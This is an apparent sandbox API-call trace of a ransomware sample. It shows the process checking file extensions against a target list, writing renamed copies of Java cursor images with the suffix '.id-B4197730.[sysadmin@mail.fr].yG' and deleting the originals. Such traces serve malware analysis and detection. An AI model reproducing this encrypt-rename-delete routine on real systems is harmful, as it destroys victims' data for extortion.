	[0047.560] lstrcmpiW (lpString1=".1cd", lpString2=".gif") returned -1
	[0047.560] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\invalid32x32.gif") returned 70
	[0047.560] lstrlenW (lpString=".jpg") returned 4
	[0047.560] lstrcmpiW (lpString1=".jpg", lpString2=".gif") returned 1
	[0047.560] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\invalid32x32.gif") returned 70
	[0047.560] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\invalid32x32.gif") returned 70
	[0047.560] lstrlenW (lpString=".doc") returned 4
	[0047.560] lstrcmpiW (lpString1=".doc", lpString2=".gif") returned -1
	[0047.560] lstrlenW (lpString=".docx") returned 5
	[0047.560] lstrcmpiW (lpString1=".docx", lpString2="2.gif") returned -1
	[0047.560] lstrlenW (lpString=".pdf") returned 4
	[0047.560] lstrcmpiW (lpString1=".pdf", lpString2=".gif") returned 1
	[0047.560] lstrlenW (lpString=".xls") returned 4
	[0047.560] lstrcmpiW (lpString1=".xls", lpString2=".gif") returned 1
	[0047.560] lstrlenW (lpString=".xlsx") returned 5
	[0047.560] lstrcmpiW (lpString1=".xlsx", lpString2="2.gif") returned -1
	[0047.560] lstrlenW (lpString=".ppt") returned 4
	[0047.560] lstrcmpiW (lpString1=".ppt", lpString2=".gif") returned 1
	[0047.560] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\invalid32x32.gif") returned 70
	[0047.560] lstrlenW (lpString=".zip") returned 4
	[0047.560] lstrcmpiW (lpString1=".zip", lpString2=".gif") returned 1
	[0047.560] lstrlenW (lpString=".rar") returned 4
	[0047.560] lstrcmpiW (lpString1=".rar", lpString2=".gif") returned 1
	[0047.560] lstrlenW (lpString=".bz2") returned 4
	[0047.560] lstrcmpiW (lpString1=".bz2", lpString2=".gif") returned -1
	[0047.561] lstrlenW (lpString=".7z") returned 3
	[0047.561] lstrcmpiW (lpString1=".7z", lpString2="gif") returned -1
	[0047.561] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\invalid32x32.gif") returned 70
	[0047.561] lstrlenW (lpString=".dbf") returned 4
	[0047.561] lstrcmpiW (lpString1=".dbf", lpString2=".gif") returned -1
	[0047.561] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\invalid32x32.gif") returned 70
	[0047.561] lstrlenW (lpString=".1cd") returned 4
	[0047.561] lstrcmpiW (lpString1=".1cd", lpString2=".gif") returned -1
	[0047.561] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\invalid32x32.gif") returned 70
	[0047.561] lstrlenW (lpString=".jpg") returned 4
	[0047.561] lstrcmpiW (lpString1=".jpg", lpString2=".gif") returned 1
	[0047.561] lstrcmpiW (lpString1=".gif", lpString2=".yG") returned -1
	[0047.561] lstrlenW (lpString="win32_CopyDrop32x32.gif") returned 23
	[0047.561] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_copydrop32x32.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348
	[0047.562] GetFileSizeEx (in: hFile=0x348, lpFileSize=0x262ff14 | out: lpFileSize=0x262ff14*=165) returned 1
	[0047.562] CloseHandle (hObject=0x348) returned 1
	[0047.562] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_copydrop32x32.gif")) returned 0x20
	[0047.562] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyDrop32x32.gif.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_copydrop32x32.gif.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0047.562] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_copydrop32x32.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348
	[0047.562] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fec0 | out: lpNewFilePointer=0x0) returned 1
	[0047.562] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fec0 | out: lpNewFilePointer=0x0) returned 1
	[0047.562] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyDrop32x32.gif.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_copydrop32x32.gif.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0047.562] GetLastError () returned 0x0
	[0047.562] ReadFile (in: hFile=0x348, lpBuffer=0x4170020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x262fecc, lpOverlapped=0x0 | out: lpBuffer=0x4170020*, lpNumberOfBytesRead=0x262fecc*=0xa5, lpOverlapped=0x0) returned 1
	[0047.563] WriteFile (in: hFile=0x350, lpBuffer=0x4170020*, nNumberOfBytesToWrite=0xb0, lpNumberOfBytesWritten=0x262fc94, lpOverlapped=0x0 | out: lpBuffer=0x4170020*, lpNumberOfBytesWritten=0x262fc94*=0xb0, lpOverlapped=0x0) returned 1
	[0047.564] ReadFile (in: hFile=0x348, lpBuffer=0x4170020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x262fecc, lpOverlapped=0x0 | out: lpBuffer=0x4170020*, lpNumberOfBytesRead=0x262fecc*=0x0, lpOverlapped=0x0) returned 1
	[0047.564] WriteFile (in: hFile=0x350, lpBuffer=0x4170020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x262fc94, lpOverlapped=0x0 | out: lpBuffer=0x4170020*, lpNumberOfBytesWritten=0x262fc94*=0x102, lpOverlapped=0x0) returned 1
	[0047.564] SetEndOfFile (hFile=0x350) returned 1
	[0047.564] CloseHandle (hObject=0x350) returned 1
	[0047.565] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fec0 | out: lpNewFilePointer=0x0) returned 1
	[0047.565] SetEndOfFile (hFile=0x348) returned 1
	[0047.566] CloseHandle (hObject=0x348) returned 1
	[0047.566] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyDrop32x32.gif.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x20) returned 1
	[0047.566] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_copydrop32x32.gif")) returned 1
	[0047.567] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyDrop32x32.gif") returned 77
	[0047.567] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyDrop32x32.gif") returned 77
	[0047.567] lstrlenW (lpString=".doc") returned 4
	[0047.567] lstrcmpiW (lpString1=".doc", lpString2=".gif") returned -1
	[0047.567] lstrlenW (lpString=".docx") returned 5
	[0047.567] lstrcmpiW (lpString1=".docx", lpString2="2.gif") returned -1
	[0047.567] lstrlenW (lpString=".pdf") returned 4
	[0047.567] lstrcmpiW (lpString1=".pdf", lpString2=".gif") returned 1
	[0047.567] lstrlenW (lpString=".xls") returned 4
	[0047.567] lstrcmpiW (lpString1=".xls", lpString2=".gif") returned 1
	[0047.567] lstrlenW (lpString=".xlsx") returned 5
	[0047.567] lstrcmpiW (lpString1=".xlsx", lpString2="2.gif") returned -1
	[0047.567] lstrlenW (lpString=".ppt") returned 4
	[0047.567] lstrcmpiW (lpString1=".ppt", lpString2=".gif") returned 1
	[0047.567] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyDrop32x32.gif") returned 77
	[0047.567] lstrlenW (lpString=".zip") returned 4
	[0047.567] lstrcmpiW (lpString1=".zip", lpString2=".gif") returned 1
	[0047.567] lstrlenW (lpString=".rar") returned 4
	[0047.567] lstrcmpiW (lpString1=".rar", lpString2=".gif") returned 1
	[0047.567] lstrlenW (lpString=".bz2") returned 4
	[0047.567] lstrcmpiW (lpString1=".bz2", lpString2=".gif") returned -1
	[0047.567] lstrlenW (lpString=".7z") returned 3
	[0047.567] lstrcmpiW (lpString1=".7z", lpString2="gif") returned -1
	[0047.567] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyDrop32x32.gif") returned 77
	[0047.567] lstrlenW (lpString=".dbf") returned 4
	[0047.567] lstrcmpiW (lpString1=".dbf", lpString2=".gif") returned -1
	[0047.567] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyDrop32x32.gif") returned 77
	[0047.567] lstrlenW (lpString=".1cd") returned 4
	[0047.567] lstrcmpiW (lpString1=".1cd", lpString2=".gif") returned -1
	[0047.567] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyDrop32x32.gif") returned 77
	[0047.567] lstrlenW (lpString=".jpg") returned 4
	[0047.567] lstrcmpiW (lpString1=".jpg", lpString2=".gif") returned 1
	[0047.567] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyDrop32x32.gif") returned 77
	[0047.567] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyDrop32x32.gif") returned 77
	[0047.567] lstrlenW (lpString=".doc") returned 4
	[0047.567] lstrcmpiW (lpString1=".doc", lpString2=".gif") returned -1
	[0047.567] lstrlenW (lpString=".docx") returned 5
	[0047.568] lstrcmpiW (lpString1=".docx", lpString2="2.gif") returned -1
	[0047.568] lstrlenW (lpString=".pdf") returned 4
	[0047.568] lstrcmpiW (lpString1=".pdf", lpString2=".gif") returned 1
	[0047.568] lstrlenW (lpString=".xls") returned 4
	[0047.568] lstrcmpiW (lpString1=".xls", lpString2=".gif") returned 1
	[0047.568] lstrlenW (lpString=".xlsx") returned 5
	[0047.568] lstrcmpiW (lpString1=".xlsx", lpString2="2.gif") returned -1
	[0047.568] lstrlenW (lpString=".ppt") returned 4
	[0047.568] lstrcmpiW (lpString1=".ppt", lpString2=".gif") returned 1
	[0047.568] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyDrop32x32.gif") returned 77
	[0047.568] lstrlenW (lpString=".zip") returned 4
	[0047.568] lstrcmpiW (lpString1=".zip", lpString2=".gif") returned 1
	[0047.568] lstrlenW (lpString=".rar") returned 4
	[0047.568] lstrcmpiW (lpString1=".rar", lpString2=".gif") returned 1
	[0047.568] lstrlenW (lpString=".bz2") returned 4
	[0047.568] lstrcmpiW (lpString1=".bz2", lpString2=".gif") returned -1
	[0047.568] lstrlenW (lpString=".7z") returned 3
	[0047.568] lstrcmpiW (lpString1=".7z", lpString2="gif") returned -1
	[0047.568] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyDrop32x32.gif") returned 77
	[0047.568] lstrlenW (lpString=".dbf") returned 4
	[0047.568] lstrcmpiW (lpString1=".dbf", lpString2=".gif") returned -1
	[0047.568] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyDrop32x32.gif") returned 77
	[0047.568] lstrlenW (lpString=".1cd") returned 4
	[0047.568] lstrcmpiW (lpString1=".1cd", lpString2=".gif") returned -1
	[0047.568] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyDrop32x32.gif") returned 77
	[0047.568] lstrlenW (lpString=".jpg") returned 4
	[0047.568] lstrcmpiW (lpString1=".jpg", lpString2=".gif") returned 1
	[0047.568] lstrcmpiW (lpString1=".gif", lpString2=".yG") returned -1
	[0047.568] lstrlenW (lpString="win32_CopyNoDrop32x32.gif") returned 25
	[0047.568] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyNoDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_copynodrop32x32.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348
	[0047.569] GetFileSizeEx (in: hFile=0x348, lpFileSize=0x262ff14 | out: lpFileSize=0x262ff14*=153) returned 1
	[0047.569] CloseHandle (hObject=0x348) returned 1
	[0047.569] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyNoDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_copynodrop32x32.gif")) returned 0x20
	[0047.569] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyNoDrop32x32.gif.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_copynodrop32x32.gif.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0047.569] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyNoDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_copynodrop32x32.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348
	[0047.569] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fec0 | out: lpNewFilePointer=0x0) returned 1
	[0047.569] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fec0 | out: lpNewFilePointer=0x0) returned 1
	[0047.569] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyNoDrop32x32.gif.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_copynodrop32x32.gif.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0047.569] GetLastError () returned 0x0
	[0047.569] ReadFile (in: hFile=0x348, lpBuffer=0x4170020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x262fecc, lpOverlapped=0x0 | out: lpBuffer=0x4170020*, lpNumberOfBytesRead=0x262fecc*=0x99, lpOverlapped=0x0) returned 1
	[0047.570] WriteFile (in: hFile=0x350, lpBuffer=0x4170020*, nNumberOfBytesToWrite=0xa0, lpNumberOfBytesWritten=0x262fc94, lpOverlapped=0x0 | out: lpBuffer=0x4170020*, lpNumberOfBytesWritten=0x262fc94*=0xa0, lpOverlapped=0x0) returned 1
	[0047.571] ReadFile (in: hFile=0x348, lpBuffer=0x4170020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x262fecc, lpOverlapped=0x0 | out: lpBuffer=0x4170020*, lpNumberOfBytesRead=0x262fecc*=0x0, lpOverlapped=0x0) returned 1
	[0047.571] WriteFile (in: hFile=0x350, lpBuffer=0x4170020*, nNumberOfBytesToWrite=0x106, lpNumberOfBytesWritten=0x262fc94, lpOverlapped=0x0 | out: lpBuffer=0x4170020*, lpNumberOfBytesWritten=0x262fc94*=0x106, lpOverlapped=0x0) returned 1
	[0047.571] SetEndOfFile (hFile=0x350) returned 1
	[0047.571] CloseHandle (hObject=0x350) returned 1
	[0047.572] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fec0 | out: lpNewFilePointer=0x0) returned 1
	[0047.572] SetEndOfFile (hFile=0x348) returned 1
	[0047.573] CloseHandle (hObject=0x348) returned 1
	[0047.573] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyNoDrop32x32.gif.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x20) returned 1
	[0047.573] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyNoDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_copynodrop32x32.gif")) returned 1
	[0047.573] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyNoDrop32x32.gif") returned 79
	[0047.573] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyNoDrop32x32.gif") returned 79
	[0047.573] lstrlenW (lpString=".doc") returned 4
	[0047.573] lstrcmpiW (lpString1=".doc", lpString2=".gif") returned -1
	[0047.573] lstrlenW (lpString=".docx") returned 5
	[0047.573] lstrcmpiW (lpString1=".docx", lpString2="2.gif") returned -1
	[0047.573] lstrlenW (lpString=".pdf") returned 4
	[0047.574] lstrcmpiW (lpString1=".pdf", lpString2=".gif") returned 1
	[0047.574] lstrlenW (lpString=".xls") returned 4
	[0047.574] lstrcmpiW (lpString1=".xls", lpString2=".gif") returned 1
	[0047.574] lstrlenW (lpString=".xlsx") returned 5
	[0047.574] lstrcmpiW (lpString1=".xlsx", lpString2="2.gif") returned -1
	[0047.574] lstrlenW (lpString=".ppt") returned 4
	[0047.574] lstrcmpiW (lpString1=".ppt", lpString2=".gif") returned 1
	[0047.574] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyNoDrop32x32.gif") returned 79
	[0047.574] lstrlenW (lpString=".zip") returned 4
	[0047.574] lstrcmpiW (lpString1=".zip", lpString2=".gif") returned 1
	[0047.574] lstrlenW (lpString=".rar") returned 4
	[0047.574] lstrcmpiW (lpString1=".rar", lpString2=".gif") returned 1
	[0047.574] lstrlenW (lpString=".bz2") returned 4
	[0047.574] lstrcmpiW (lpString1=".bz2", lpString2=".gif") returned -1
	[0047.574] lstrlenW (lpString=".7z") returned 3
	[0047.574] lstrcmpiW (lpString1=".7z", lpString2="gif") returned -1
	[0047.574] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyNoDrop32x32.gif") returned 79
	[0047.574] lstrlenW (lpString=".dbf") returned 4
	[0047.574] lstrcmpiW (lpString1=".dbf", lpString2=".gif") returned -1
	[0047.574] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyNoDrop32x32.gif") returned 79
	[0047.574] lstrlenW (lpString=".1cd") returned 4
	[0047.574] lstrcmpiW (lpString1=".1cd", lpString2=".gif") returned -1
	[0047.574] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyNoDrop32x32.gif") returned 79
	[0047.574] lstrlenW (lpString=".jpg") returned 4
	[0047.574] lstrcmpiW (lpString1=".jpg", lpString2=".gif") returned 1
	[0047.574] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyNoDrop32x32.gif") returned 79
	[0047.574] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyNoDrop32x32.gif") returned 79
	[0047.574] lstrlenW (lpString=".doc") returned 4
	[0047.574] lstrcmpiW (lpString1=".doc", lpString2=".gif") returned -1
	[0047.574] lstrlenW (lpString=".docx") returned 5
	[0047.574] lstrcmpiW (lpString1=".docx", lpString2="2.gif") returned -1
	[0047.574] lstrlenW (lpString=".pdf") returned 4
	[0047.574] lstrcmpiW (lpString1=".pdf", lpString2=".gif") returned 1
	[0047.574] lstrlenW (lpString=".xls") returned 4
	[0047.574] lstrcmpiW (lpString1=".xls", lpString2=".gif") returned 1
	[0047.574] lstrlenW (lpString=".xlsx") returned 5
	[0047.574] lstrcmpiW (lpString1=".xlsx", lpString2="2.gif") returned -1
	[0047.575] lstrlenW (lpString=".ppt") returned 4
	[0047.575] lstrcmpiW (lpString1=".ppt", lpString2=".gif") returned 1
	[0047.575] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyNoDrop32x32.gif") returned 79
	[0047.575] lstrlenW (lpString=".zip") returned 4
	[0047.575] lstrcmpiW (lpString1=".zip", lpString2=".gif") returned 1
	[0047.575] lstrlenW (lpString=".rar") returned 4
	[0047.575] lstrcmpiW (lpString1=".rar", lpString2=".gif") returned 1
	[0047.575] lstrlenW (lpString=".bz2") returned 4
	[0047.575] lstrcmpiW (lpString1=".bz2", lpString2=".gif") returned -1
	[0047.575] lstrlenW (lpString=".7z") returned 3
	[0047.575] lstrcmpiW (lpString1=".7z", lpString2="gif") returned -1
	[0047.575] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyNoDrop32x32.gif") returned 79
	[0047.575] lstrlenW (lpString=".dbf") returned 4
	[0047.575] lstrcmpiW (lpString1=".dbf", lpString2=".gif") returned -1
	[0047.575] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyNoDrop32x32.gif") returned 79
	[0047.575] lstrlenW (lpString=".1cd") returned 4
	[0047.575] lstrcmpiW (lpString1=".1cd", lpString2=".gif") returned -1
	[0047.575] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyNoDrop32x32.gif") returned 79
	[0047.575] lstrlenW (lpString=".jpg") returned 4
	[0047.575] lstrcmpiW (lpString1=".jpg", lpString2=".gif") returned 1
	[0047.575] lstrcmpiW (lpString1=".gif", lpString2=".yG") returned -1
	[0047.575] lstrlenW (lpString="win32_LinkDrop32x32.gif") returned 23
	[0047.575] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_linkdrop32x32.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348
	[0047.575] GetFileSizeEx (in: hFile=0x348, lpFileSize=0x262ff14 | out: lpFileSize=0x262ff14*=168) returned 1
	[0047.575] CloseHandle (hObject=0x348) returned 1
	[0047.575] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_linkdrop32x32.gif")) returned 0x20
	[0047.576] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkDrop32x32.gif.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_linkdrop32x32.gif.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0047.576] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_linkdrop32x32.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348
	[0047.576] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fec0 | out: lpNewFilePointer=0x0) returned 1
	[0047.576] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fec0 | out: lpNewFilePointer=0x0) returned 1
	[0047.576] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkDrop32x32.gif.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_linkdrop32x32.gif.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0047.576] GetLastError () returned 0x0
	[0047.576] ReadFile (in: hFile=0x348, lpBuffer=0x4170020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x262fecc, lpOverlapped=0x0 | out: lpBuffer=0x4170020*, lpNumberOfBytesRead=0x262fecc*=0xa8, lpOverlapped=0x0) returned 1
	[0047.577] WriteFile (in: hFile=0x350, lpBuffer=0x4170020*, nNumberOfBytesToWrite=0xb0, lpNumberOfBytesWritten=0x262fc94, lpOverlapped=0x0 | out: lpBuffer=0x4170020*, lpNumberOfBytesWritten=0x262fc94*=0xb0, lpOverlapped=0x0) returned 1
	[0047.578] ReadFile (in: hFile=0x348, lpBuffer=0x4170020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x262fecc, lpOverlapped=0x0 | out: lpBuffer=0x4170020*, lpNumberOfBytesRead=0x262fecc*=0x0, lpOverlapped=0x0) returned 1
	[0047.578] WriteFile (in: hFile=0x350, lpBuffer=0x4170020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x262fc94, lpOverlapped=0x0 | out: lpBuffer=0x4170020*, lpNumberOfBytesWritten=0x262fc94*=0x102, lpOverlapped=0x0) returned 1
	[0047.578] SetEndOfFile (hFile=0x350) returned 1
	[0047.578] CloseHandle (hObject=0x350) returned 1
	[0047.578] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fec0 | out: lpNewFilePointer=0x0) returned 1
	[0047.579] SetEndOfFile (hFile=0x348) returned 1
	[0047.579] CloseHandle (hObject=0x348) returned 1
	[0047.579] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkDrop32x32.gif.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x20) returned 1
	[0047.580] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_linkdrop32x32.gif")) returned 1
	[0047.580] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkDrop32x32.gif") returned 77
	[0047.580] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkDrop32x32.gif") returned 77
	[0047.580] lstrlenW (lpString=".doc") returned 4
	[0047.580] lstrcmpiW (lpString1=".doc", lpString2=".gif") returned -1
	[0047.580] lstrlenW (lpString=".docx") returned 5
	[0047.580] lstrcmpiW (lpString1=".docx", lpString2="2.gif") returned -1
	[0047.580] lstrlenW (lpString=".pdf") returned 4
	[0047.580] lstrcmpiW (lpString1=".pdf", lpString2=".gif") returned 1
	[0047.580] lstrlenW (lpString=".xls") returned 4
	[0047.580] lstrcmpiW (lpString1=".xls", lpString2=".gif") returned 1
	[0047.580] lstrlenW (lpString=".xlsx") returned 5
	[0047.580] lstrcmpiW (lpString1=".xlsx", lpString2="2.gif") returned -1
	[0047.580] lstrlenW (lpString=".ppt") returned 4
	[0047.580] lstrcmpiW (lpString1=".ppt", lpString2=".gif") returned 1
	[0047.580] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkDrop32x32.gif") returned 77
	[0047.580] lstrlenW (lpString=".zip") returned 4
	[0047.580] lstrcmpiW (lpString1=".zip", lpString2=".gif") returned 1
	[0047.580] lstrlenW (lpString=".rar") returned 4
	[0047.580] lstrcmpiW (lpString1=".rar", lpString2=".gif") returned 1
